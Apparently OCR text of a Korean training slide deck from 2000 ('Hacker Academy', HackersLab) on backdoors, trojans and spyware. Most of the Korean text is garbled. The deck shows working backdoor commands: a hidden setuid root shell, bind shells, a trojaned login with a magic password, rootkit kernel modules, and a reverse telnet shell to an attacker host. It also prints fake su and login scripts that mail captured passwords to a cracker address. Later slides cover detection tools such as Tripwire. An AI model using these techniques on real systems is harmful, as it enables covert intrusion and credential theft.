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ai=0f2t ?

E20] 20jo| Ho|

1-1 —l
e Backdoor ?
- 32Dt BYE AIAHS WMEUSHU SH(FZ root 2
S &) &S50 fot SHEN =2 Y=°

=
= =/

Administrator & oF)g
Security Hole E2 H|2 S 2
e Hidden setuid shell
e Network Service/Port
32, gH AMAEN &
T2 ), 22l Xt

e Kernel module
= AMAE0N 22X 83
6DITI6H Alﬁ‘% Eﬁlﬂ Lt
2 Hl2 S 2 (Trapdoor)

ﬂIIO

=
ol A = KlIE olf
FEHOZ O=(H =
e Threats

- ANHQ ISEXE HNXA &2 =SH(privilege)s &=, & A0
WAREE HEoHeE IS

Ej(utmplwtmpllastlog)a =J|K 20 LIS
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1.2 E20| =0}2 2
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e Trojan Horse ?
- i S20| Jt= 22088 20/X8t 2=
J80|L 2 &8 Egotld Y= 22 1
e Back Orifice, Netbus, Sub7, etc
e rootkit(lrk4, Irk5) — trojaned login, tcpd, chfn, etc

e Threats
_ HAMXO SEZS ole AHE B0l AHLE
ANEEXZE SEAN2UOZ M, A|AE 22| Xt
EXE EE
_ Q|2XOR AlAE Z2|X}D} of=
X
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1.3 Hi=0{9} E=0| =0}9] H|R

02t E=0/=0t2 X038

EZ0| 2012 AR SH ALER, =SS T2 A o8 5
Ol g0 o =st 240/ X 8,

o S, ANESAE H2AZEHO X E Sot Xl E2 Trigger

B Ofs AT AIAE AN 428 2 WHAS 2Aoh &YX}
XIE S5t D 0|28

HHOl2H A 2F & (worm) 2| XI0|&

HIOlHd A= =2 st ZREUHUHAN GE 2= 1S 23 AIAH, A
otHAN HSolMN AtelES =Hote 22 180/,
= (Worm)_ B0l A2t Ot&IJHAI 2 KP&E = HMotAlgH, =2 U]
ERDE SotH A= =Moot g B FEZ AttlES &llole
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Stoxlo
st & 2

0o RS

o JNZA BH
Inactive/Default AccountE 0| &
e Windows NT — guest, CISCO Router — admin, etc
I ERE=E

— Hidden setuid shell2 0|28t S&# &
e -rwsr-xr-x root root /.hidden/directory/rootshell
3 & d A startup

sLEEC2

scriptE 0
9 &= Of

- NAE B2 2 AIBX
- S2
e /etc/rc.d/rc.*, /etc/hosts.equiv, SHOME/ .rhosts
e $HOME/ .profile, SHOME/ .login, $HOME/ .exrc, SHOME/ .netrc
— Cron Job= 0|0t SEAIZ2HN T =
o AAHE ZZ|IXIS Eot&2|Jl Sl=8t AlZ2t= 0| &
o *4***/ hidden/directory/bindshell
Copyright 2000 HackersLab Co., Ltd.
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o A WL RE
- UESZAQ U=20ILt AIAE RELCIEIE =8et B0
e rootkit(lrk4, Irk5) — Magic Password
— login.c, telnet.c, chsh, su, chfn, tcpd(tcpwrapper), etc
— TCP/UDP =2 &EZ= 0|&¢8l shell binding 4%
o S3 ZE( shell(/bin/sh)S HIIZAIHED, 0| ZEZ 4510 HAH

Ol OIS EXE 22

e tcpbind.c, audpserver.c/audpclient.c, nc
— Kernel module2 0|t W&
e Kernel moduleE FJ}olH{, System Call Table

e phide, kbd, knark
- Yol E R3lote SHE
e ICMP Tunnel — Lokid/loki
e Reverse Telnet - nc
e Port Redirect — datapipe.c

e CGI Backdoor

o

ks
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o JMA E=20[=50t2 7

- the=st =52 (spoof)E 0| E¢et Trojan Horse
e logoutE AXE AIE AL E1I]I‘-*° A&GHH, CHAl login St S &2 2 M
AME XS ﬁlx*ﬂf IHAREE EXU= =H
o UH “IIEA A7
- Jdgxst T2 )82 2 Jt&(trojaned su)ot, Al At HE &
HHAREE sMdUl= =8, =2 keylogger
e E=0|=0t2 &€
- PC sS4 A= & 0|LE OIEW'(ﬁol SMASE)S 0|80, 22 ==
HAXM0|) =EotAH Z20|AIEH AAESAF E2H SEet =2 18

HAXIotH WERKRIAE Sot! SP—:!JHIOi
e Back Orifice, Netbus, Sub7, Ecokys
e Love Letter, Navidad, etc
e Spywares

Copyright 2000 HackerslLab Co., Ltd.
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€

3. 02| & (1)

e Hidden setuid shell

— Copy a /bin/sh & turn on the setuid bit
~# mkdir /tmp/.hidden
~# cp /bin/sh /tmp/.hidden/.sh; cd /7tmp/.hidden
~# chmod 4755 .sh
~$ ./.sh (on the other window)
~# id

e UDP Bind Shell

— On the target host
~# ./audpserver
~# ps —aux | grep audpserver
root 4268 1017:02 7 00:00:00 .Zaudpserver

— On the client host
~# ./audpclient —s target _host —p 520
id

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.
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NS

3. Wsojo| =2 (2)

e Linux Rootkit — trojaned login

— Compile & Install the trojaned login program

~# gcc —o login login.c checktty.c —lcrypt
~# cp /bin/login /bin/login.orig
~# cp login /bin/login
~# telnet localhost
login: rewt
passwd: satori
~# id

e Linux Rootkit — TCP Bind Shell

— Run our tcpbind shell
~# ./tcpbind
~# netstat —listening —p tcp

— On attacker side or other window
~# telnet target _host 31337
id;
uid=0(root) gid=0(root)

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.
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e Kernel module backdoor — kbdv2

— Compile & Install kernel module
~# gcc —c —0O3 kbdv2.c
~# insmod kbdv2.0
~# Ismod

— Login as a normal user
~$ touch foobar
~$ logout

— Login as the same user above
~# id
uid=0(root), gid=0(root)

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.
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3. 012 EF (4)

e Kernel module backdoor — knark

— knark module &/ &4/
~# insmod knark.o
~# Ismod
—~# ./rootme cat /Zetc/shadow

— knark module =7/7/

—# iInsmod modhide.o
—~# Ismod
~# ./hidef /tmp/knark-0.50

_ Process ID &#&
—~# . /taskhack —euid=501 1
~# ps —aux | grep init

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.
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e Reverse Telnet
— L2 % (intenal protected network) 0l A & =3dt= 23X & ot
32l (Port Filtering)= f3lot &2

— Attacker Side Operations(Attacker Host)
~# nc —nvv —l —p 80 (one window)
~# nc —nvv —| —p 25 (other window)

— Server Side Operations(Target Host)

~# sleep 10000 | telnet attacker_ host 80 | /bin/sh | telnet
attacker host 25

— on 80 port Window(Attacker Side)
id
uid=0(root), gid=0(root)

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.
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3. W=0io| =2 (6)

e ICMP/ZUDP Tunnel — LOKI
— ICMP Echo/Reply Header0if & &
— gt3t= (Port Filtering)2 £3l0t{ &

-—

ol

% _
S A )N)E 2
=
—

— On the target host
~# ./lokid

— On the attacker side
~# loki —d target_host —pi—v 1—-t3

Raw IP socket: read write blocking
LOKI2 route [(c) 1997 guild corporation worldwide]
loki> Is

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.
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e EkoBackdoor
— multiple backdoor on Linux platform
e Q
— Client/ServerE ST 0, 220/AHE A} HMHALOI2] HZ 0 A
256bit DES 233t AIE
e Blackhole
— 2tEtSE TCP shell 8H& O, re.™ L0l S=5A MEE Al AS2
£ BHE0 T2 JH0| &N
e Alpha 031
- A2 2 rootkit. EXE Redirectionct
22 AENTELE EElet L2 )
e GH-cqgi
— cgi-backdoor, II0|ZE SoiAl H3= ERNZE 85

g tHOE oLl A
O =5 — TT /M — O

=3

rir
all
M
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4. E20|=02] fI&ld (1)

o EZ20| =209 &4
- F2 % 2 HiIold A, E20|] S0 HI0lHA S of2D|8= 0|8t U0l A 3
A0 F=

— Ecokys®t €2 Z= )82 dX0lAM g58e 2= JIEE HES WE = MEG
= Jls= JHAlLD (AN B2 32 R=0] R4E

o EEOI =0IE 0| 2¢et IdE &
utdHto|

2 A

31%
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4. E20|50}2| #I8ld

e W £2l8 32 EE &
- IDI0IY WIERIDES Uiy
“22lg 3570 UE £

e 1999H 1138 - EcokysE 0|Est 28 == AtA

— ecokys T2 ]&#H= E-mail2 @ &of PC S&! I AN AH &S
— E-mail& {= =2t Llolil Xt2| PCOll ecokys £XIE0] 2= IIEE BE=
=2 &4
e ‘“Love Bug”, 20004 5&
— the most (in)famous trojan horse
— Love Bugll =32
o MIUSREASE(N === 2= MEUIH =2 IRC HEUW U= AFZUHIAH KD
AH&lS &1t
o N2 XN2HU =FoIH, GEMARKE IIZM=) Z2 )3 SS U2 25
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4. E20|=012| #{3{d

4. E20|=20}e] $IEA (3)

- E—mail% Set B
e SEX0 27E 02510 ASKE HEHO2M HLS YXOIK E20| T
280 T =5 ot & - LOVE Bug
— A&l -'354& 2 & 0 9_|§ &
= OlEotH E=01J} X == 85A2l= &Y

ATE 0j0) lEt ggz

o JRU &2 E2N)HO=Z AISAE 8506l HE EXA EZ20| &2

/\-lxl
= SUHUOH EZ20| T2 ]S HIE

IO Ol AFOIEE &

°
O
Z
n
|-
— 4d
oH!
oin
jo
o
0F0
ol

Z A0 |'501 olgt 5L
o Xttt OHEX, Xttt A3

Xt

E, ActiveX ZHEE =2 dtlig EZ0| T2 )&
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5. E20|=20le| E8 Th U= 0{Q} EZ20|20}

5. E20|=20}e] S2 (1)

e JHI su(switch/substitute user) T2 ] &t
AHAHI EXIek Ot su EE0 2lot0 OtOICI2F IHARE 2 E iz
M= EZ20| Ex2 )

stty —echo

echo “Password: *

read X

echo “”

stty echo

echo Soneone used this password: $1 $X | mail cracker & sleep 1
echo Sorry.

rm-rf su

o (Ol&%Zl= 21
— AIEXE OFRE 24 210 IHAREES 2 =EotK| B “Sorry.” HIAIXIE £
H &, A0l 2= MARAES fFe A= H2s 0|0
— AFEXF EEet AR EE JelAHUHN EED D, Ot su Z2 )82
Ael= X2

Hacker Academy
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5. ER0|F0Ie &

5. E20|=0}e| & (2)

HIZ 012} E20[|=0}

e T (Spoofs) - Trojan mule
~ 2H “StEA AFA70I2tD = ot= Trojan mule2 AFE X &2 HOIE
Ol Al KI2IE IR S2 EtA OIOICIQH THARIEE JIZ2TE LS LBt
#!/ bi n/ sh
cl ear
echo -n "l ogin:
read I gin
stty -echo
echo -n "Password:
read pw
stty echo
echo
echo "Login: $lgin Pwrd: $pw' | mail cracker@ttack.com

o (laltl= 2

Hacker Academy
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5. ER0|F0Ie &

5. EE0|=0}9]

HIZ 012} E20[|=0}

S& (3)

— cDc(Cult of the Dead Cow) Al &
— MSZ2| BackOfficel |I&d &d1]
- Jls

o FRH2 HUHA &= : & MO

o (IE EZZ (| attach It=s
e 21 22 0/2510 J|s E&
— BO120, BO2K

- KRYAZ Client Z2 08 =T

Hacker Academy

| R COSPHERE WIFC S EXE

| ddedsEEs DIPROIECTS IS CENREL ELEENISOGEN] EXE

| (R— Packet received ko hos1127.0 01 port 23333 cnnaes
|| R s eeting oot 25 b 195 157 241 50725

A204anY COMIN SRS S TENR P 2ine
4294055207 QAP ROGRAN. FILESWETSCA PENNAVIGA TR FOGRANMY FLOGRAN

4299501 529 0 M M ST S TERUMINORZSEE 0D
4299548235 C MY S TERADDHELR BXE
25460 CNHINESMINHLP 32 EXE
4294537577 LAPERPHOTOSHP EXE

424453103 O APROIECTSYISDER UG WS EXE
End of progezses

** ¥, Redir g packet gent (35 b?ﬁ!it]ﬂl'l '25' s M T, 2
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5. ERO|=0IC &F

(4)

HIZ 012} E20[|=0}

e Netbus

- I UM 2 AIXIAEeR]
DHLIH Deln 2 2203
2ICtolaE s 22
A2 22| s
St 2™ 2 9|27 S92
ATl DI

& MetBus Pro

File Host Conbol Help

M- DI T LFIIIEH-P-W-O-

el -5 0/dH A

D estination

| Hozt

My computer

i

World Wide Web! GoToWorld.com

127.0.01

Surfing the @

Mo connection
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5. E20|=20}e] 55 H i 0]} E20|=0}

5. E20|=20}e] 2 (5)

e Sub7
— ‘mobman’ X &t
- 74

e Connection manager

e File manager

e Keys/message manager
e Ass kickin’s manager

7 ipfuin: 127.0.0.1|

e Windows manager WindowsSystem fol }_.ji I this will be fixed in
—
— j | =) click 'read latest Sub 7T news'to read the
o FFHES HOAHAH &S

— &3 MO
o SIH XY L JIZ]]
e ICQ / IRC / E-mail notify
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5. EEOIEUPI Ex (6)

e School Bus

— Swyque software 5w"|"q Ue SoFtWaRe
— Easy to Use & Powerful
= Ciscorec | EEECEIRETY o EEED]
e File manager Et::";f:;::u _Servas Editur| 1P Seannar_Halp_abaut
o Appl icati onNn Mman age r Gak Systam F-u::!uurds-l - Send Meszage Open Chat
Cat Cached F-umnrdil Gota Wab Pags Ruf Programive
® Keyboard m an age r Clear Passmords [ _g;h:. El:l_l:i_r\-.-_e_ Close COv Dinrwe
Fils Mansger Ewap Mooss Buthons Cantrol Mouse
j —
- | 6 Appliceton Hanager Shiom Taskhar Hida Tagkbuar
o|D4 341X (o) sS|l= Keyboard Manager Tuirr On Mairekor Turn O Monkor
¢ '_-I - 7T E-I _—I X-” O-I aél %I H Crash Windosss Get Iog Lins Change Ciabe,/Time
° Open & Close CD_Driver Shut Ciowmn Windows Capturs Deskiop Sat Wallnaper
Clake Servis
e Run programs Remve Server
e Turn on/off monitor
° EtC Connacted
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o IO R2EH(integrity) & At
- BWEHE dEr Ue WHE S0 ol checksum= 2t=H =4 =
8oz ZA
- md>5, sum, tripwire
— COPS, TIGER - AN|AEIS A&, IHOIE 2AH, BERE s= SA

o T ] 4 Y I N A
- 2] WA BIEAEC 2= Z Al - logcheck

Dl=el Z= MA S AF — Isof
o ZZ2NAI ALES(open)2! MESH st 5= ==

e rootkit & A — rkdet
- http://vancouver-webpages.com/rkdet
— CPM(check promiscuos mode)
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o UIEZAAE 248 HAHAIJ
— DA ot &= BHEGH)| M0l & Al

e Tripwire
— File integrity checker for UNIX systems
— MDS5 GIAIKl CHOIMIAE eSS

e Hard-to-spoof

_ WEOf L HIOIHAN 2AF ER DYUS HMAHE SX
TN GOHE, B AIZ, i-nodell B3 SO Al

e Tripwirel S&IZE
— Database Generation # tripwire -initialize
— Database Update # tripwire —update /Zetc
— Integrity Checking
— Interactive Update

# tripwire -interactive

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.



u E20|S 0o EHA| W ol 3 = 0{9} E20|S0}

6. HIZ0{ U E=0|=0}] EHX| T ofj (3)

e Alert: Cart32 secret password backdoor
— http://www.cerberus-infosec.co.uk/advcart32.html

e Windows Backdoor Update 111
— http://xforce.iss.net/alerts/advise30.php

e Backdoor Password in Red Hat Linux Virtual
Server Package

— http://xforce.iss.net/alerts/advise46.php
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e The cleaner

Bl The Cleaner 2.0

— MooSoft Development Fi_Hel
A l|Scanwas aharted. You will nat be able to proceed until & full scan has been
jl — BackDoor 200 completed.
- S BackDoor 2.01

bl
L EEOI gﬂl’ %I-II glcl X-”j-l Deep Throat
DeepBO

o M&E &tASE EZ20| 20} DMSETUP (ol vairis]

DMSETUPZ [all variants
HAl 22 oA DHSETURS

[ AI- b W T — | E" O I E Enigma's Setup Trojan
Girlfriend

Gjamer 1

[Fjamer w2

Haik durp

ICKiller

ICQ Trojen

Master's Paradise N
fayhem J
mlRC Scripts
Hetbus
Metbus 1.6 ﬂ
Netbus 1.7 = Legend =

Nethus 2 [Atomic Tosic] {7 Completed successfully (' Requires rebact to complate A Trojan detected

QCE j {1 Mo action was required @ Urniecoverable enar

L Check folupdate| [ElEAr | Detect &l | ﬁcanSelectedFlles

= |

Hacker Academy Copyright 2000 HackerslLab Co., Ltd.



HIZ 012} E20[|=0}

PY B a C kW O r k Backwark disk scanner

Drrives available for scanning:

- v2.01 -

Baclkwark v 01
kMeny Framework. Homepage

About
Scan diive

Scan Cluit scanner

FRAMEWORK }
EXECUTIVE

Setting
’75 canning EXECOMADLL files

Mot checking 1M1 file content

- Framework ExecutiveAt JHE
- XE0lM Back Orifice &X| |

Trojans found: 0

— @IHE 25126:_9—| Badeoor gltl Progress [per drive] 0
EZ0 T2 XN L HMH
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6. =01 X E=0|=012| BX| 2 o2 (6)

e SuperScan — http://www.foundstone.com

=5 SuperScan 3,00
ﬂ Hostname Lookup Configuration
|2I]3.235.2?.‘I B4 Lookup | ;
Port list zetup
Resalved | be | Interfaces |
P Timeout Scan type Scan
Stark |2D3.235.2?.1 Ed4 il Ping [ RBezolve hostnames
- 400 [v Only scan rezponsive pings 20323527170 1]
Stop|203.235.27.170 Il W Show host responses Scanning |
Prewl | NextC | 1 954 | Connect ™ Ping only 203.235.2?.158
[2000 ™ Ewvem port in list Fiesolving
W lgnare IP zera v Al zelected ports in list 0
v lgnore IP 255 ;;E‘;d = Al ligt portz from
[ Extract from file J Al ports from I_ I_ Start
Speed
GEE: Active hostz
L1
Open ports
3
Save
Collapze all
Ex=pand all
bir Prune




7. Spyware

HIZ 012} E20[|=0}

7.1 Spyware ?

e Spyware ?
- P HEE=E S 2ZEYAHU =HU= AIAE S| Back Channel
Soff HOIEEE "REole 2 18 =2 2=
—- “NEANSE2 P2 ERet AZEHUHE MEE = UL, =2 )8l e
A== Ua oY 2ZTENH AIS A2 HEHE ZAIGHD] A& S 224
= Az JIgE A = J&EZF otJ|RoH AIOIFAHE St=CH

e GetRight, Go!Zilla, CuteFTP 3.0 S 27003
e http://www.radiate.com/consumers/products.html

e Spyware vs Backdoor & Trojan Horse

Hacker Academy

Backdoorl} Trojan Horse= 22| & Q1 SHOZ2 A|AE

— /1 —
NeIEE S

22 s™dUWUi=0 BIgtA,
AU0IRI0= 88 2ZER0 2] EIt
2o =
Ct.

0

ot

©|(License Agreement)at 0l

= R22 M3

SR X O 2 (?)

= g3 M

Copyright 2000 HackerslLab Co., Ltd.



7. Spyware f H. U012} E20|50}

7.2 Spywarel| & (1)

e http://www.radiate.com/consumers/products.html

-3 Consumers — Sof re Products - Microsoft Internet Explorer

| mEEr mEE) RX0S SAHRIIE BRI ES2H |

>
-

J = o= . D ) 7al | [4d |
F=2 e = Al MEE = =] = HF= SEHY M=
J =D IE hitp 1/ v radiate, comy/consumers//products, html LI k= |J HE >

elo wertis, LT 1
B ) ¥ e o ey

Radiate. D26 S

jobs contact home

about press

Consumers Software Products

Overview

BinaryBliss.com

s Go!Zilla s Mp32 Stream Recorder
Software Products « Access Diver III « MMultiSender
Privacy Policy e Acoarn Email e MMusic Genie

s ActionCOutline Light 1.6 s [ Inspector BIG AD

e Active 'Net s My Genie Patriots

s AcqlURL s My Genie SE

s AddsRemove Plus! s My GetRight

e« Add URL « MeatFTPR

e Address Rowver 98 e MewsShark

s Admiral VirusScanner s MNet-A-Car Feature Car

e Adwvanced Call Center Screensaver

s Advanced Maillist verify e Metants

s AdWWizard = MNetBoard

= Alive and Kicking s MNetbus Pro 2.10

= zalphaScape QuickPaste e MetCaptor 5.0

a ASP1-A3 -

Met CE _
- | _'*I_I

| [ [ oy Z
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7.2 Spyware?| E& (2)

e GetRight Software License

43 GetRight Installation

GetRight” Sofitware License

Installer

Tou are about to inztall advertizing-enabled sofbware that may
make perodic use of your [nternet connection.

e
$-ﬁiﬁ sOFTwWARE LICENSE AGREEMEMNT -~

*** Pleaze read thiz entire agreement ** Ll

LICEMSE:

* Thiz Limited Uze Software Licenze Agreement [the
“Agreement''] 1z a legal agreement betwesn pou

["'Licensee"], the end-user, and Headlight Software, Inc
[""Headlight''] for the uze of the GetRight zoftware product

[""S oftware'].

By using this software ar storing this program on a computer
hard drive [or other media)l. pou are agreeing bo be bound by

the termz of this Agreement. j

. Agree bo Software License | Do Mot Agree |

Cancel |




7. Spyware g2 Hi=0{Qt E20|50}

7.3 Spyware?| EMX| 2! X7

e OptOut — Spyware Detection & Removal

® OptOut v0,993939 . Functional Preview Release > !EIE

Internet "Spywara" Detection &
GptGUt Femowal ;j
Status | Log I Spvanare I Cptions I Help / About I -
FPerforming Deep Drive Scan
Dirrve and Directory being searched:
CAWYOIRRH 2EARE 22 B, & = TT ' jishack
Directories searched: search target files:

1 208 Files found:

adimage.dll |
- PO adwvert.dll —
llenames checkea “ adver?03 oo

37782 achvers ocx

Thiz Deep Drive Scan may be interrupted amcis.dll ;I
by preszing the "Cancel Scan' button below.

Prevlew HE'EaSE El:lltil:lﬂ g. .................................................................... . .
Expires: 2001 /03/01 . cancel Scan . E sl
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